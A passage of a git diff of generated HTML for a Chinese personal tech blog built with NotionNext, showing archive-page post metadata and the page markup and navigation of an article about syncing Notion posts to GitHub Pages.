2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"archivePosts":{"2024-03":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""}],"2024-01":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]}},"__N_SSG":true},"page":"/archive","query":{},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/240119-notion.html b/article/240119-notion.html
index c676d9d0c..c9e8c3dcc 100644
--- a/article/240119-notion.html
+++ b/article/240119-notion.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Notion文章自动同步GitPage | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,推荐,工具,docker,自动化,折腾,git"/><meta name="description" content="之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Notion文章自动同步GitPage | Both Savage"/><meta property="og:description" content="之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便"/><meta property="og:url" content="https://bothsavage.github.io//article/240119-notion"/><meta property="og:image" content="https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便"/><meta name="twitter:title" content="Notion文章自动同步GitPage | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Notion文章自动同步GitPage</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-ce6b6618a1184ee9b74c33a848d0f0ed"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 